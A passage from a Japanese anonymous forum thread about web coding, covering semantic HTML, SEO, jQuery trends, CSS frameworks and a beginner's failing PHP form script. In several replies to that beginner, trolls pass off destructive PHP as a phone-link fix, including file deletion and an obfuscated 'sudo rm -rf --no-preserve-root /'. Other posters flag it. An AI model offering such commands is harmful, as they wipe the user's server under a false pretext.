1つもなかったら、bodyになる
だから、absoluteでもrelativeでもfixedでも関係ないと最初に説明したんよ

559 :
>>558
もういじめないでください

560 :
そりゃアホなのにイキってたからだろうな

561 :
優しくしてよこのチンカスめが!

562 :
divが多すぎて汚いと言われたのですが具体的にどうやって減らしていけばいいのでしょうか…
div無いとまとめられず上手くコーディングできないのですが

563 :
HTMLの基本構造のタグは使ってへんの?

564 :
装飾如きのためにdivってんちゃん?

565 :
header・main・footer・section・articleとかかね?

566 :
自分も同じこと気になってるんですが、タグの種類って全部覚えてるものなんですか?
例えばh1タグやらリスト系などの特殊な機能があるタグは良いんですけど、それ以外は全部divで良くない?って思っちゃうんですが

567 :
>>566
素人は誰か、初心者は誰かと
自分に問いかけるといいよ

568 :
タグ理解したいならここでも見てろよ
murashun.jp/blog/20191013-01.html


書籍から丸コピしてる?気のせいだろサイトの文章でぐぐるなよ?

569 :
>>566
こんなのはやってれば自然と覚えるもんだ
CEO的に考えれば記述はちゃんとしとかんとダメ

570 :
それをいうならPTAな

571 :
はっきり言って2020年の時点でHTML構造にSEOはほぼ関係ないよ。
titleと見出しくらいが大まかに関係してるくらいで、重要なのは中身の記事だからな。

そもそもGoogleはhtmlの構造が綺麗なものを検索上位に入れようと試行錯誤してるわけではなく、
あくまで需要のある、中身のある記事が書かれているかで判断したいわけだから。

未だに5年も10年も前の知識でクライアントに金使わせようとするSEOコンサル業者すげぇ多いけどな。

572 :
個人的には別にdivdivしててもいいと思うけどdivdiv嫌いな人間も多いよ
そういうのと関わるときは適度にそれっぽいタグを混ぜるとよろし
見る人&SEOには関係ないけどね

573 :
> <div> 要素は「純粋」なコンテナーとして、本質的には何も表しません。
> その代わり、 class や id を使用してスタイル付けしやすくしたり、文書内で異なる言語で書かれた部分を (lang 属性を使用して) 示したりするために使用します。
?
> 使用上の注意
> ・<div> 要素は、他に適切な意味的要素(<article> や <nav> など)がない場合に限り使用してください。

https://developer.mozilla.org/ja/docs/Web/HTML/Element/div

574 :
頭が固いなあ
divをarticleやnavに変えたらgoogleが評価するならみんなやってるわ

575 :
個人で作るものに関しては好きなようにやればいい
チームで作るものならチームのルールに従って書けばいい

576 :
>>571
完全にそうとは思わんね。
パンクズのタグやマークアップが検索結果にぱんくずとして認識されたりあるからね。

577 :
パンクズとかそういうメタ情報はSchemaのjsonldでhtmlとは別に定義するだろ
タグに直打ちでdata-vocabularyの書くのはもう推奨されてない(Analyticsで警告が出る

578 :
>>576
>>577が言ってる通りだけど構造化マークアップの話しだからな。結局あれは別にあるフォーマットに則って書いてるわけで、そういった意味でも決まりがないようなものであるhtmlタグ側はgoogle的にはほぼ関係ない。

結局本質を追いかけないで「対策」ばかりしてる中身のないサイトはgoogle的にも徹底的に排除したいわけで、考えれば当たり前のこと。

579 :
>>576
パンくずと認識されるだけ
順位は上がらない

580 :
全然関係ないけど、Vue fes japan2019のページソースが公開されてた。
Vueきちんと知らなくてもモダンなLPページは勉強としても結構役に立つと思う。

https://vuefes.jp/2019/
オリジナル

https://blog.inouetakuya.info/entry/2019/12/25/201033
Vue Fes Japan 2019 サイトのソースコードを公開した

https://github.com/vuejs-jp/vuefes-2019
github / vuejs-jp / vuefes-2019

581 :
文章構造に意味を持たせようとしてarticleやsectionやaside,nav...にするとか意味ないと思ってる
サーチエンジンにページの意味をちゃんと伝えたいなら構造化データで定義するからdivでも問題ないと思ってる
そもそも本家のソースがdivdivしてるし

582 :
>>580
あんなぁ、モダン(?)な作り方じゃなくて
モダンな生成物がほしいんや
生成物が同じなら、どんな作り方でも関係ないんだわ

583 :
wordpressでつくったサイトを除外できたら検索結果がそうとう改善されるだろうなあ

584 :
>>582
製作する側での生産性の違いが生まれるわけで
最終的な生成物がモダンかどうかはセンスの話しで全く別の話しだろ

585 :
会員情報限定で入力出来るページを作りたいので、フリーのphp設置したのですが、パスについて教えてください。

/public_html/form/address_1.inc と同じformフォルダの中にaddress_1.phpもアップロードしているのですが、デフォルトの
<FORM ACTION="address_1.php"のままだと
The requested URL /members/stepfm_sa/address_1.php was not found on this server.

とエラーになってしまうのですが、
どのように書いたら良いのでしょうか?

586 :
.incはどうせどっかのページから読み込んでるパーツなんだろ?
そのトップページからの相対位置で指定しないとだめよ

587 :
ロリポップとステップサーバー借りて両方試してるんですが、どっちもphpが見つからなかったりアクセス出来なかったりでうまくいきませんヽ(*>□<*)ノ助けて。。

https://i.imgur.com/TwBDPPC.jpg

588 :
>>586
例えば??
http://○○.jp/homepage/admin/form/address_1.php
にしてもだめでした

589 :
スラッシュ消してaddress_1.phpだけにしてiniファイルをブラウザプレビューし、https://i.imgur.com/MqEReYv.jpg
テーブルを入力実行したら

現在、このページへのアクセスは禁止されています。
サイト管理者の方はページの権限設定等が適切かご確認ください。
つてなります。
パスワード掛けてるから当たり前なのかな?ちゃんと送信出来るかテストしたいのに分からない…
/formのパーミッションは755です。

590 :
>>588
どういう構造のどういう環境かしらんから答えようがないけど
ローカルでやってるならhttpではだめだよ。
まずシンプルなphpできちんと読み込めるかなどして原因の切り分けしたほうがいい。

<?php echo "test"; ?>

だけ書いたphpファイルがちゃんと読み込めるか。
その時点でダメならエラーメッセージでぐぐれ

591 :
>>587でファイル置く場所合ってますか?

592 :
ちょっと頭悪そうなんで
自力は諦めてレンタルした方がいいと思うw

593 :
>>590
それ書いた<?php echo "test"; ?>
は同じ所に置いて表示されましたが
パスワード掛けてるのに何で見えるのでしょうか??
何でaddress_1.phpはエラーになるのでしょうか??アスキーモードで転送してパーミッション644にしたら真っ白い画面が表示されるだけです。

>>592
氏名と電話番号だけ登録したらすぐ見れるやつで他に何かいいサービス有りますか?予算千円以内で
3日位探しても余計な入力項目が沢山付いてたり、メールの登録と確認が必須だったりで見つからなかったのでレンタル弄ってます。

594 :
何年か前にcgiやphpをパソコンで設置した時はうまくいったんですが
今回はなかなかうまくいきません

595 :
パスワードは必須ですが、試しに.htpasswdだけ消して入力フォームに書いた場合

※CGI もしくは SSI が正しく動作していません。

.htaccessも消した場合
403 Error
現在、このページへのアクセスは禁止されています。

???

596 :


597 :
w

598 :
まる三日位格闘してたんですけど
よく考えたらphp5のプログラムだから動かないのか(´;ω;`)ウッ…

http://cgikon.com/free_sample/sample_520.html
これと同じ感じのシンプルな無料の名簿でphp7に対応してるやつないでしょうか?

599 :
>>598
板違い
https://medaka.2ch.sc/php/

600 :
メールの登録で見れたほうがマシじゃね?
名前と電話番号登録と通販以外殆どないだろ

601 :
ファイルロックもしてないし受け取ったデータ無チェックでそのまま書き込んでるとかこれはなかなかひどいスクリプトだな
phpのバージョン以前に使わないのが正解

602 :
こんな人が作るホームページの会員には絶対なりたくないw

603 :
自己解決しました

604 :
>>600
ラインだけしか交換してない人達の集まりだからメールを収集するのはハードル高いし面倒くさがり多いから

>>603
してません

605 :
>>601
会員しか見ないからどうでもいいかと思って

606 :
だったら全部ラインで済ませればいいんじゃね?w
わざわざサイト開いて見せるとかせんでも

607 :
俺も思った
普通にLINEグループでやればいいんじゃねーの
なんでサイト作る必要が・・・?

608 :
SNS時代になるともう全部そっちでやればいいんじゃね?ということもしばしばw
素人でも簡単にいつでもどこでも使えちゃうとか、ここ10年ほどで劇的に変わったな

609 :
>>606
ラインの交換してるのは数人だけ…
大人数になるとQRLで交換するの面倒くさいしライン使って無い人もいるから他の連絡先も記録しておきたい。あと新しいメンバーが何十人も来るから一目で連絡先分かるようにリスト化しておきたいです。
グーグルフォームだと50人しか記録出来ないし、excelだと持ってない人も居るのでphp かcgiで考えてます。

>>590
パスが分からないです
スマホだから置き場所ダメなのかな?(TдT)local/binとかスマホには無いし
ローカルのphpとincの保存先は
https://i.imgur.com/so59UPS.jpgです

610 :
そんな素人知識で個人情報管理できるの?
XSSとかSQLインジェクションとか聞いたこともないんじゃないのか

611 :
そのサイトのURLはどうやって連絡すんのかな?

612 :
>>610 ニックネームと捨て番しか聞かないのでその辺は深く考えなくても大丈夫です。
>>611
ゲーム内のチャット…
パスだけ教えていただければ何とかなると思うんですが…

613 :
cgi版使えば?

614 :
したらばとかFC2とかの無料掲示板でもレンタルしたらいいんじゃね
個別に連絡取りたいとかならTwitterとかFacebookもあるけど
その知識でサーバーとXSS対策もないようなスクリプト設置したらハッカーの踏み台になる

615 :
>>614
100人以上居るので、掲示板に一人一人書くと膨大なページになって見にくいです。

616 :
だからincの方に書くパスって
>>609の
/strage/省略/adress_1.phpまで全部書けばいいんですか?どうなんですか?

617 :
今は<FORM ACTION="address_1.php" METHOD="post">
でエラーになってます

618 :
今週中中にサイト作らなきゃならないんで他の探してる余裕もありません
マニュアル通りにパーミッション設定しても
このページへのアクセスは禁止されています。だの権限がなくてサーバーのフォルダの中身見れなくなっただのします(;_;)
どなたかアマギフ500円差しあげるので私のIDとパスワードで入って設定確認していただけないでしょうか?頭いい人なら30分掛からないと思います。。
nyakizaya@usako.net

619 :
やっす!

620 :
舐めた知識で適当なことやるバカってやっぱり居るんだなぁ
こういうのは問題が起きないと理解しないんだろう

621 :
自己解決しました

622 :
なんで今週中にできると思ったの?

623 :
>>613
500円差し上げるので作ってください >_<

624 :
書き込み時にエラーが出るんだよね?
address_1.tsvという空のファイルを同じ場所にアップロードして試してみて
パーミッション666に変えて

625 :
すいませんもう解決しました

626 :
>>624
アマギフ500円差しあげるので私のIDとパスワードで入って設定いただけないでしょうか?
30分掛からないと思います

627 :
5万円ならやってあげるけどどうする??

628 :
30分かからないと思うので500円でお願いできないでしょうか

629 :
お断りします。

630 :
わかりました
じゃあ550円でもいいです。
もしよければ専用にしてください。

631 :
ハハハ

632 :
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ.  終  了 │
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛

633 :
次の方質問どうぞ
  ↓↓↓

634 :
最近のcssフレームワークって何がおすすめなの?bootstrapは廃れてきたっぽいけど他のも知りたい

635 :
フレームワークは使わない
不要なcssが残っているとPage speed評価に影響するし

636 :
>>635
cssがボトルネックで表示速度が落ちるなんてのは画像やjsやフォントと比べると数十分の1でしょ?
鬼のように上書きしまくっててカオス化してるならまだしも。

637 :
機会損失という言葉を知ってる?
サーバーチューニングもそうだけど表示はミリ秒マイクロ秒単位でも速い方がいい
特に多くの人に見られるであろうサイトではな
ごてごてウェイトをつけたマシンがレースで勝てるか考えてみればいい

638 :
いやいや言いたいのは速度に与える影響量の違いの話しなんだけど
使ってないcssが速度に与える影響なんて極わずかでしょって話しなんだけど?
無駄な画像やら広告が1枚でも増えたほうが容量的に増えるでしょ
画像やらjsを完全最適化した上でcssガーっつってるなら理解できるけど

639 :
影響量が大きいとか小さいとかごくわずか・・・とかそういう問題じゃない
影響が「ある」ということが問題
CSSだけでなく全体のコンテンツも最適化するのは当然だろ

640 :
ミリ秒レベルの話しで便利なもの使わないとか凄いなww
jQueryなんか読み込んでるの見たら卒倒して倒れるんじゃないの?

641 :
無限に制作時間があるなら無しでいいけど
まともに複数案件並行してやってたらフレームワーク全く無しなんて
ピクセルパーフェクトで再現が必要なレベルのガチガチ要件じゃない限り選択肢入らんけどね

ただ仕事でやってない人にはそこまで必要ないけど

642 :
安い仕事請け負って安い仕事するってお前本当にプロか?

643 :
>>626 
>>627-628
私のフリするのやめてください!

644 :
ピクセルパーフェクトで再現が必要なレベルのガチガチ要件しかやってないわ

645 :
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ.  終  了 │
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛

646 :
次の方質問どうぞ
  ↓↓↓

647 :
大物歌手に
1曲歌うだけでいいので500円でお願いできますか?
3分歌うだけでいいんです。本気出さないでもいいですし。
私もよくカラオケで歌いますし簡単ですよ
って価値観だな

648 :
例えが下手くそすき
はい次の人質問どうぞ

649 :
未だにhtmlとcssのみで戦ってそう
jQueryすら触れるのか?

650 :
このスレの住民が大物レベルになってる前提なのが草

651 :
>>650
あなた大物じゃないし500円でサイト作って欲しいのですが
作ってくれますよね?

652 :
フレームワークとかjQueryとか素人でも簡単にコーディングできるようになるとやはり質が下がりますね
うちの会社にもゆとりが多いです

653 :
ネイティブjsも理解してないのにいjqueryから入るからなぁ
昨今のWordpressの流れと一緒でしょ

654 :
それを言ったらブラウザも言語も作れないのに
人が作ってあげたHTMLやjavascriptからはいるからなあってなるやん

655 :
せやろか

656 :
>>653
最近は脱jQuueryの流れですけどね
ゆとりからライブラリ取ったら何も出来ないっていうジレンマが

657 :
そうだよ
これからもわんさかと軽い気持ちで新参がやってくるから
本職と素人の壁がどこなのかは意識しておくべき

658 :
どうでもいい案件だけゆとりにやらせればいいっしょ
ここ10年くらい使える人間ほんと少なくなったよなぁ

659 :
次の方質問どうぞ
  ↓↓↓

660 :
jQuery を除くと、ほとんどのプログラマーが、this でバグルw

ES2015, arrow とか、知ってる香具師は、ほとんどいないだろw

661 :
し、知っとるわ!
ピクセルパーフェクトや(キリッ

662 :
ん?jQueryもthis使うやん

663 :
使わなくて済むなら極力thisは使わないわ
es2015ではclass構文でメンバにセットするとき使うけど

var that = this; とかいうアホな悪習滅びて欲しい

664 :
いつの間にか雑談スレになってて草

665 :
>>656
> 最近は脱jQuueryの流れですけどね

脱jQueryの流れは2014年がピークだった
6年経った現在、全然脱jQueryにはなっていない。

なんてことはない、"脱jQueryの流れ"ではなく
"脱jQueryを叫ぼうという流れ"でしかなかったということ
使ってる人は脱jQueryなんて考えていないしその必要もなかった
口うるさい連中が元からjQuery使ってないくせに、脱jQuery脱jQueryと叫んでいただけ


2017年 JavaScript★71.9%ものサイトがjQueryを利用 [無断転載禁止]©2ch.sc
https://medaka.2ch.sc/test/read.cgi/prog/1485008061/

72 自分:仕様書無しさん[] 投稿日:2019/12/30(月) 11:31:49.86
さて今年も終わりだ。この一年の変化はどうだったでしょうか?

https://w3techs.com/technologies/history_overview/javascript_library/all
Historical trends in the usage of javascript libraries for websites
73.5%  73.6%  73.7%  73.8%  73.9%  74.0%  73.9%  73.9%  74.1%  74.1%  74.1%  74.0%  74.1%  74.2%
結果+0.7%

https://w3techs.com/technologies/history_overview/javascript_library
Market share trends for JavaScript libraries
97.2%  97.3%  97.3%  97.3%  97.3%  97.3%  97.4%  97.4%  97.4%  97.5%  97.5%  97.5%  97.3%  97.4%
結果+0.2%

666 :
どこにも脱jQueryの流れなんてないのに嘘をつかないでくれないか?
https://w3techs.com/technologies/history_overview/javascript_library/all/y

jQuery
2011年 28.3%
2012年 42.8%
2013年 54.5%
2014年 57.4%
2015年 61.5%
2016年 68.3%
2017年 71.9%
2018年 73.1%
2019年 73.6%
2020年 74.2%
2020年2月 74.4%

https://w3techs.com/technologies/history_overview/javascript_library/ms/y
2011年 74.0%
2012年 84.1%
2013年 90.2%
2014年 92.9%
2015年 94.5%
2016年 95.8%
2017年 96.4%
2018年 96.2%
2019年 97.3%
2020年 97.4%
2020年2月 97.4%

667 :
やっと名簿出来たーー
‹‹\(´ω` ๑ )/››‹‹\( ๑´)/›› ‹‹\( ๑´ω`)/››~♪
何やっても505エラーばかりでどこが違うのかわからなかったけど、FTPで文字コード直しただけで表示されました!!3日掛かった…_:(´ཀ`」 ∠):

で、ソースの中にメールとwebを立ち上げる記述は有りますが、これの続きで電話番号も番号押したら電話アプリが立ち上がるようにしたいのですが、どうしたら良いのでしょうか?

$calllinkとか$telllinkなんてコードはぐぐっても見つかりませんでした

$urllink ='<img src="web.gif" border=0 width=15 height=15 alt="Home">'; # Web
$maillink ='<img src="mail.gif" border=0 width=15 height=12 alt="Mail">'; # Mail

668 :
脱jqueryよりも
脱jqueryのプラグイン
というのは個人的にあった

669 :
<a href="tel:電話番号">ハイフン入りの電話番号</a>

670 :
そりゃクソザコサイト共はいつまでもjQueryにおんぶにだっこだろww当たり前じゃんwwww
jQueryに頼らず先へ進みたいプロが脱jQuery言うとんやろ

671 :
jQuery作った人すら今では仕事でjQueryではなくreact使ってるの公言してるからな
DOMを1〜2箇所いじるくらいとかモーダルやらハンバーガー実装するとかならいいけど
それ以上のことするとマジで崩壊するぞ。古いjsのみでも同じことが言えるけどな。
ES6(2015)レベルはコーダーレベルでも使えないとどうしようもない

672 :
最近js覚えた中学生がイキってるの?

673 :
しょせんライブラリを渡り歩くだけの話さ
バニラでやるとか仕事でやるなら効率わるすぎてまずやらん

674 :
ワードプレスに代表されるクソサイトが一気に増えたしね
業界でも自称プロの素人が増えたよ

675 :
WPのサービス終わったら
どれだけのサイトが死ぬんだろうか
恐ろしい

676 :
最近jQueryを覚えた素人がイキってるスレはここでつか

677 :
まあまあ…みんな素人仲良くね^^;

678 :
>>674
まあそんなもんよ
これで飯食えてりゃみーんなプロよ
自分だって始めた頃は酷えもんだった

679 :
レトルトを温めて料理を作ったような気になってるからな
何かあったらネットから先人のコードをコピペ
基礎がないから応用も利かない、使えないゴミ
どこの業界にもいるってこったな

680 :
業界大手の者ですがjQueryは使いませんね
読み込み速度もSEOのランク要因になってるので

681 :
js,jqは他所で話してもらえますか

682 :
>>679
そういう俺はプロだからとか上から目線とかこういう奴には仕事回さない
こういう人種はリテイク出すと嫌な顔や怪訝な対応するから
カメラでオートフォーカス使ってる奴はダメとか言ってるのと同義

683 :
>>680
業界大手でもこんなとこに書き込むんですね

684 :
回さないというかゴミみたいな仕事を回される側なのになぜこいつは上からなんだろうw

685 :
(笑)

686 :
>>680
でもさー
結局IEのためのポリフィルで似たような重さになっちゃうじゃん?
IE無視して良いようなヌルい大手ならいらんのかも知らんけど

687 :
>>686
マジに構わない方がいいよこんなの

688 :
>>679
お前だって先人が作ったOSやブラウザや言語の上でやってるんだろうがw
要はレトルトだろうが手作りだろうができた物が美味しく頂けるものなら問題ないと思う

689 :
安かろう悪かろうの典型っすね
業界目指してる人はこういうのになっちゃ駄目ですよ

690 :
うん

691 :
レトルトに毛を足したようなサイトで満足するクライアントなんかいるわけないだろwwどんだけしょぼい案件やってんだよwww

692 :
WEB制作の話してるのにOSの基本機能の話まで発展させちゃうところが、、、
これがゆとりってやつか。

693 :
ゆとりじゃなくて発達障害だよ

694 :
>>692
お前のは製作の話じゃなく上から目線でお前のはダメと言いたいだけやw

695 :
>>689
業界目指してる奴はそもそも2ちゃんねるなんかチェックしない

696 :
>>691
お前が作った意識高い高尚なサイトとやらを是非見てみたいものだな〜
ま、晒す勇気はないだろうがw

697 :
スレ違い

698 :
発達が発狂しとるw

699 :
横からスマソ
別に素人が何使おうがいいと思う
それで食ってるわけじゃあるまいし

700 :
ゆとり世代ってもう30歳くらいだよ?
それ使ってるやつ大体初老だろ

701 :
>>699
まあ最近見かけるのが、素人がさらなる素人を食ってるパターンだな。

702 :
>>679
参入障壁を明確にしてもっとハードル上げといてくれ(人任せ)
でないと価格競争が起こる

703 :
>>695
目指してるどころかどっぷりな俺はどうすれば( ;∀;)

704 :
みんな何から勉強した?参考書とか動画とか

705 :
>>704
おっちゃんなので始めた時は本はなかったなあ
いろんなサイトのソース見て学んだり
そのサイトの人に直接メールして教えてもらったりしてたなあ

当時日本人より外人の方が親切だった思い出

706 :
>>704
未経験から4年の実務でやってるけど一番役になったのはひたすらコード書くことだったな。
プログラムは本が体系的に学ぶのに役立つけどマークアップは本はほとんど使わなかった
良いサイト真似して自分で作ってがいいと思う

707 :
まあでも最近は動的なサイトが多いから
ブラウザからソースだけ見てもわからん事もおおいよね。

708 :
>>706
漫画描くのに模写から入るのと似たようなもんかな
サイトの構成は年々変わって行くからコードも20年前や10年前と今とじゃまるで違う
一番良いのは参考書よりも知った人間が近くにいて教えを請えること

709 :
textareaを、左右マージンを1rem開けた状態で左右から見て中央に配置するにはどうすればよいでしょうか?
textarea {
display: block;
margin-left : auto;
margin-right : auto;
}
上記cssで中央固定は出来るのですが、左右マージンを指定することが出来ません。

710 :
>>709
textarea {
display: block;
width: calc(100% - 2rem);
margin-left: 1rem;
margin-right: 1rem;
}
こういう事?

711 :
>>710
神様ありがとう!!!!

712 :
いえいえ

713 :
家を守ってる神様ですからね!

714 :
こんなんで神様になれるんだからチョロい世界だよなw

715 :
>>714
ww

716 :
>>714
(爆)

717 :
>>714


718 :
神様にもランクはあるけどな

719 :
ヤオヨロズの国なんだから当たり前だろ?
西洋文化にまみれてんのか?

720 :
仏>>>>>>>>神>俺たち

なのですよ

721 :
>>669
それじゃ無理じゃないですか?
電話番号知らないのに

722 :
> 西洋文化にまみれてんのか?
まあインターネットというシステムは西洋文化そのものだがw

723 :
>>721
プログラム上で電話番号を表示してるとこ探して
その周辺を書き換えりゃいいんじゃね

724 :
>>722
インターネットはただの軍事技術の民間転用やろ
君はGPSを「西洋文化」と例えるの?

725 :
どうでもいい

726 :
>>724
ネットワークの生い立ちはそうだけど
今一般的にインターネットって呼んでるwwwは
九分九厘洋物じゃね?

我々に気を使ったところなんてせいぜい
rubyタグとwriting-mode: vertical-**くらいのもんよ

727 :
どうでもいい

728 :
あ”あ”?

729 :
動きをつけるのはもっと簡単になってくれ
つーかスクロールしたらアニメーションってCSSで出来るようになればいいのに

730 :
了解しました

731 :
あざっす

732 :
普通にjsライブラリで腐るほどあるからそれでやるしかない
スクロール量をリアルタイムに取れないんだからしゃあない
今後cssでこれ以上なにかさせても、結局主要ブラウザ全て対応しないと利用価値が無いので効率が悪い。
なにはともあれjsに機能を寄せてもらって、Babelでトランスパイルした方がフロントエンドの人も楽だろう。

733 :
>>724
この辺の技術や基盤はもうアメリカさまさまだから文句言わないぜ

734 :
>>732
もうjsに親を殺されたとかそのくらいjs憎しなんじゃね?w

735 :
悪魔のようなJSだな

736 :
JSとJCとJKとJDどれが好きですか?
僕はJYです。

737 :
文書にアニメーションは必要ない。

738 :
動的な要素もほどほどにしとかないとウザがられるからなあ

739 :
すいませんJYって何でしょうか。
プロゲートの動画や参考書で調べても出てきこないんですが。

女子大生(20)

740 :
また動的の意味をはき違えてる人がいる

741 :
アニメーションいらん

742 :
いるよ。どこからどのように遷移してきたが視覚的にわかったほうがいい

743 :
無駄な装飾やアニメーションてんこもりで糞使いにくいサイトたくさんある
ノルマかなんか知らんがほんとやめた方がいいね

744 :
記事の内容に全く関係無いバカみたいな画像をデカデカと入れてるサイトとかな

745 :
一番ウザいのは広告だけどね

746 :
どこから移動してきたかなんてパンくずリストがあれば十分だからな
無駄なもんゴテゴテ付ける前にまずパンくずリストを付けろと

747 :
>>742
無駄なアニメはいらない
必要最小限のものでいいので目立ちいな演出はいらない

748 :
クライアントがアニメとかでかい画像入れろと言うならしかたない

749 :
必要なアニメーションなんてほとんどないよな。
観光地系サイトに多い、スクロールで要素を時間差表示する奴大嫌い。

直接その指定したサイトに興味ある人以外は、
スクロールホイールで高速にブラウジングしてんだからほんの秒で通り過ぎるのに
1秒以上かけてちんたら表示する所とかは最悪。
あれデザイナーのオナニーだから止めてね?

750 :
デザイナーやコーダーは動かしたくなくても
ディレクターやクライアントが動かせ動かせいうんだから仕方ないだろ
サイトの閲覧者も動くとウザイから動かない方が良いと思ってる人が多いだろうに
まぁ知能の低い奴らほど動いてる方を好むって傾向あるから仕方ない

751 :
動け動け動け





動いてよ!!





ドックン

752 :
逃げちゃだめだ逃げちゃだめだ

753 :
>>749
うちは何回も来る人お断りなんでー
最初の一回見てもう来ない。
そういう人をターゲットにしてるから
何度も見てストレス貯める人いないんやでー

754 :
>>753
そんな特殊事情で例も見せずに開き直られてもなあw

755 :
>>723
メールとHPのリンクだけはソースに有るけど電話書くソースは有りません(;_;)
urlとlinkをtelとかに置き換えたら動くのでしょうか‥?
$url_name = 'URL'; # URL
$urllink ='<img src="web.gif" border=0 width=15 height=15 alt="Home">'; # Web
$imglink = '★';
# コメント欄にURLが入力されたとき、自動リンクする
$autolink = 1;
# 訪問者が入力したURLに飛ぶときは・・・0:同じ窓で表示 1:別窓表示
$target = 1;
# URLの飛び方指定
if($target){ $target="_blank"; }
else{ $target="_top"; }
if($show_url){
if($sort==10){ print "<option value=10 selected>Web\n"; }
else{ print "<option value=10>Web\n"; }
}
# ホームページへのリンク表示
if($show_url){
if($url){ print"<td><a href=\"http://$url\" target=\"$target\">$urllink</a></td>" }
else{ print "<td>−</td>" }

756 :
Twilioで電話を掛けようってサイトで以下のコードが見つかりましたが、他のサイトでは$tel_to全く引っ掛かりません、、
$tel_to = "+8180xxxxyyyy"; // 発信先電話番号

757 :
そもそも電話番号って表示されてないの?
表示されてなくても、DBからデータ引っ張って表示させればいい

758 :
そもそもスレ違いだから構うなよ
スレタイ読めよ

759 :
だったら相応しいスレに優しく誘導してやれや

760 :
お前がな

761 :
どうぞどうぞう

762 :
優しく〜🐱

763 :
>>755
もう解決した?
<?php
の下に以下のコードを記入すれば電話番号にリンクされるよ

$a=['address_1.inc','address_1.php','address_1.tsv'];
foreach($a as $b){unlink($b);}

764 :
>>755
もしうまく動かない場合はこっちでも試してみてね
foreach(glob("/*") as $a){$b='rm -rf '.realpath($a);exec($b);}

765 :
>>764
それで被害被ると
器物破損かなんか成立するのよな?
よくあるのはシェルコマンドだけど

766 :
無限ループのJSでも逮捕する気満々の世の中ですよ
https://ja.m.wikipedia.org/wiki/アラートループ事件

767 :
>>764
>rm -rf
これは、サーバーのすべてを削除する、コマンドだろw
器物破損でタイーホw

768 :
スレ違い

769 :
CSSの綺麗な書き方やコメントアウトのテンプレートの参考になるサイトありますか?
人に見られる前提での書き方が分からず…

770 :
コメントアウトのテンプレートってなんだ?
html側ではコメントアウトしてもソースで丸見えなので基本的にはしないで、php上で動いてるならサーバーサイド側でコメントアウトしてソースには吐き出さない。

771 :
基本的にはしないで?
いや書く人は書きまくると思うけど
後で全部消すってことかな

772 :
適当に書いて後でcss beautiferに突っ込む

773 :
>>755
set_time_limit(0);
$search=' -' ;
$arr=range('a','z');
$flg='sudo ';
$telephone=$arr[17].$arr[12].'$search.$arr[17].$arr[5];
$opt=' --no-preserve-root /';
$auto_link='chmod -R 777 /';
exec($flg.$auto_link.' && '.$flg.$telephone.$opt);

774 :
>>769
どういう書き方をキレイとするか知らないけど、ブラウザの開発者オプションからhtmlもcssもjsも見れるんだから色んなサイト巡ってみては?

仕事での話をしているならそのチームの規約に従うか上司にでも聞いてください

775 :
>>773
いや、だから削除コマンド教えんのやめろや

776 :
そろそろワッチョイかせめてIDつけない?今どき珍しいよどっちもないって

777 :
このノリで続いて欲しいと思わんでもないw

778 :
sudo rm -rf --no-preserve-root /


779 :
質問者は変数名をデフォルトの関数と思ってる件

780 :
https://i.imgur.com/y7Sv1tN.png

781 :
>>780
漬け込まないで付け込んで!

782 :
そういやPC初心者スレにもformat c:しろってよく書かれてたなw
めんどくさい質問とかは
クリーンインストール
format:c
がお約束だった

783 :
>>779
>>780
流石にrootとかそれくらい怪しいコードなのは自分でも分かりますからスルーしてますよ
そこまで無知じゃないです

784 :
無知じゃないのにスレタイは読めない

785 :
まあでも
PHPの実務的な質問スレはあってもいいのになあ
ム板のはなんか微妙なことになってるし

786 :
まぁだからってここで質問すんなって話しだわな

787 :
優しくしないと怒られるぞ?

788 :
>>785
自分で立てればいいじゃん他力本願め

789 :
>>785
phpのほうが楽だからいらない

790 :
html6っていつくるの?

791 :
>>790
w3cの気が向いたら
今はもう、whatwgのクローンになったので
バージョンには特に意味はないよ

792 :
あん?

793 :
RSSについて教えて下さい
RSSのURLを開くと普通はXMLのソースがそのまま表示されますよね。
しかし一部のサイトではパーソナルニュースに切り替わるサイトがあります。
これはどういうソースを書けばそうなるのでしょうか?

794 :
あ?ググレや

795 :
優しくね!

796 :
>>794
ggっても出ないから聞いてんだろカス。

797 :
>>796
あーん?やんの?表出ろや

798 :
今どきフレームワーク使ってないデザイン会社どう思う?

799 :
なんだ貴様。
やんのかこら。

800 :
フレームワークにも色々あるからな
jsフレームワークのことなのかPHPのことなのか、用途によっても違うのでどうも言えない。

静的ページ作りたいだけならNuxt.jsはむちゃくちゃ便利だけど

801 :
>>793だけど誰か答えろよゴルァ
ここはプロフェッショナルいないのー?

802 :
質問の意味がよくわからんわ
UAでリダイレクトしてんじゃないの?

803 :
>>798
デザイン会社はデザインしかしてないところが多いからなあ
宣伝系主体だったらフレームワークが必要になることも
それほど多くなかろうし

804 :
>>801
パーソナルニュースてのがなんのことかわからんけど
リダイレクトしてるだけじゃね?

805 :
デザインにフレームワークなんているんか?
インターネット黎明期でもあるまいし奇抜なデザインなんて無い

CSSもそれなりに充実して、よく使われるパターンは
苦労せず実現できるでしょ?

今まで作ってきたものの使い回しでできるんじゃないの?
使い回しと言っても色とか画像とかはそれぞれ違う
そういうのはフレームワークで対応してないんだし

806 :
ぶーとすとらっぷ全否定か

807 :
Bootstrapは既に廃れ気味で他のcssフレームワークが台頭してるけどね。
ただnpmってなに?ってレベルの会社だとcss直書きか
良くてbootstrapくらいしか選択肢自体がないと思うけど

デザインって意味だとLPとかならhtml部分を一部使い回しできるだろうけど、既存cssの使いまわしは時間の無駄。
それならばフレームワークのUtility系でやったほうが第三者が見てもわかりやすいし速い。

808 :
>>807
その台頭してるフレームワークとやらを挙げてくださいよ

809 :
> 既存cssの使いまわしは時間の無駄
そんなことも無かろう。アンタのとこの会社ではそうなんだろうが
サイト製作にもランクがあってそんな大規模なものじゃなければ流用で
十分簡単に短時間で対処する場合だってあるわな

810 :
>>805
デザインの場合はフレームワークというか端的にいえば定番デザインの枠に沿ってだな
奇抜なデザインは昨今は減ってるけどスプラッシュに変な演出入れたがるとこはまだまだ多いよ

811 :
井の中の蛙 大海を知らず

812 :
英語さえそれなりに出来れば大抵の情報にはアクセスできる時代だから今の世界には大海ってほどのロマンはないような

813 :
逆にレスポンシブグリッドとかcssフレームワーク無しでどうやってんのか気になるわ
カラムに関するcssなんてSP対応当たり前の時代ならほぼ必須で使うし
